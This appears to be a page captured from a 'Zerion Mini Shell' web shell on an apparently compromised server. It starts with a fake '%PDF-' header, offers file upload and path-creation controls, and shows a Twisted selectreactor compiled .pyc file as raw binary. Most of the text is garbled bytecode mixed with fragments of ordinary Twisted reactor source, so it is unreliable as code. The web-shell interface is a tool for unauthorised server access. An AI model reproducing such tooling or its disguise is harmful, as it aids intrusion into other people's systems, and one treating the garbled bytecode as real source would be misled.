%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/__pycache__/selectreactor.cpython-312.pyc

�

Ϫ�f���8�UdZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZdd�Zedk(reZnejZ	dd
lmZeZee�Gd�de
j8e��Zd�ZdgZy#e$r
eZe	eed<Y�9wxYw)z
Select reactor
�N)�EBADF�EINTR)�sleep)�Type)�implementer)�	posixbase)�
IReactorFDSet)�log)�platformTypec��|s#|s!|�d}nt|d�}t|�gggfS|�|dkDrd}tj||||�\}}}|||zgfS)zWin32 select wrapper.g{�G�z�?g����MbP?g�?)�minr�select)�r�w�e�timeouts    �@/usr/lib/python3/dist-packages/twisted/internet/selectreactor.py�win32selectrsl��
���?��G��'�5�)�G�
�g���2�r�z����'�C�-����m�m�A�q�!�W�-�G�A�q�!��a�!�e�R�<���win32)�_ThreadedWin32EventsMixin�
_extraBasec�V�eZdZdZd�Zd�Zd�ZeZd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zy
)�
SelectReactora-
    A select() based reactor - runs on all POSIX platforms and on Win32.

    @ivar _reads: A set containing L{FileDescriptor} instances which will be
        checked for read events.

    @ivar _writes: A set containing L{FileDescriptor} instances which will be
        checked for writability.
    c�~�t�|_t�|_tjj|�y)zV
        Initialize file descriptor tracking dictionaries and the base class.
        N)�set�_reads�_writesr�PosixReactorBase�__init__��selfs rr zSelectReactor.__init__Ds*���e����u����"�"�+�+�D�1rc��tjd�t|j�}t|j�}|jj�|jj�|j|f|j|ffD]9\}}|D]/}	t
j|g|g|gd�|j|��1�;y#t$r5}tjd|z�|j||d�Yd}~�nd}~wwxYw)Nz1Malformed file descriptor found.  Preening lists.rzbad descriptor %sF)
r
�msg�listrr�clearr�add�	Exception�_disconnectSelectable)r"�readers�writers�selSet�selList�
selectablers       r�_preenDescriptorszSelectReactor._preenDescriptorsLs������C�D��t�{�{�#���t�|�|�$��������������!%���g� 6����w�8O�P�	+�O�F�G�%�
+�
�+��M�M�:�,���z�l�A�N�
�J�J�z�*�
+�	+��!�E��G�G�/�*�<�=��.�.�z�1�e�D�D��E�s�C
�
	D�+D�Dc��	t|j|jg|�\}}}|j}tj}|d|jf|d|jffD]\}}	}
|D]}||
vr�|||||	���y#t$r|j	�Yyt
$r't
j�|j	�Yyt$r{}|jddvr|js|jsYd}~y�|jdtk(rYd}~y|jdtk(r|j	�Yd}~y�d}~wwxYw)z�
        Run one iteration of the I/O monitor loop.

        This will run all selectables who had input or output readiness
        waiting for them.
        Nr)r��doRead�doWrite)�_selectrr�
ValueErrorr/�	TypeErrorr
�err�OSError�argsrr�_doReadOrWrite�callWithLogger)r"rrr�ignored�se�_drdw�_logrun�selectables�method�fdsetr.s            r�doSelectzSelectReactor.doSelect\sD��	�#�D�K�K����r�7�K�M�A�q�'�<�#�#���$�$��
��$�+�+�&�
�	�4�<�<�(�+
�
	?�&�K���*�
?�
��U�*���
�E�:�v�>�

?�	
	?��?�	��"�"�$���	�
�G�G�I��"�"�$���	��w�w�q�z�V�#����d�l�l��������u�$�������u�$��&�&�(����#	�s5�&B�E�,E�E�)E
�E
�&E
�	E
�
Ec���	t||��}|r|j
|||dk(�yy#t$r.tj�d}t	j
�Y�PwxYw)N�r2)�getattr�
BaseException�sys�exc_infor
r7r))r"r.rA�whys    rr:zSelectReactor._doReadOrWrite�sc��	�-�'�*�f�-�/�C���&�&�z�3��(�8J�K����	��,�,�.��#�C��G�G�I�	�s�-�4A$�#A$c�:�|jj|�y)zR
        Add a FileDescriptor for notification of data available to read.
        N)rr'�r"�readers  r�	addReaderzSelectReactor.addReader�s��	
������rc�:�|jj|�y)zS
        Add a FileDescriptor for notification of data available to write.
        N)rr'�r"�writers  r�	addWriterzSelectReactor.addWriter�s��	
������ rc�:�|jj|�y)zQ
        Remove a Selectable for notification of data available to read.
        N)r�discardrLs  r�removeReaderzSelectReactor.removeReader�s��	
�����F�#rc�:�|jj|�y)zR
        Remove a Selectable for notification of data available to write.
        N)rrTrPs  r�removeWriterzSelectReactor.removeWriter�s��	
�����V�$rc�N�|j|j|j�S�N)�
_removeAllrrr!s r�	removeAllzSelectReactor.removeAll�s�����t�{�{�D�L�L�9�9rc�,�t|j�SrY)r%rr!s r�
getReaderszSelectReactor.getReaders�s���D�K�K� � rc�,�t|j�SrY)r%rr!s r�
getWriterszSelectReactor.getWriters�s���D�L�L�!�!rN)�__name__�
__module__�__qualname__�__doc__r r/rC�doIterationr:rNrRrUrWr[r]r_�rrrr8sG���2�+� 2?�h�K�L� �!�$�%�:�!�"rrc�4�t�}ddlm}||�y)zDConfigure the twisted mainloop to be run using the select() reactor.r)�installReactorN)r�twisted.internet.mainrg)�reactorrgs  r�installrj�s���o�G�4��7�rrjrY) rcrrH�errnorr�timer�typingr�zope.interfacer�twisted.internetr�twisted.internet.interfacesr	�twisted.pythonr
�twisted.python.runtimerrr4�"twisted.internet.win32eventreactorrr�ImportError�object�__annotations__rrrj�__all__rerr�<module>rxs���
�
�
����&�&�5��/��$�7���G��m�m�G�+�L�+�J�
�]��A"�I�.�.�
�A"��A"�H��+���g�&�%�J��V��%�&�s�B�B�B

Zerion Mini Shell 1.0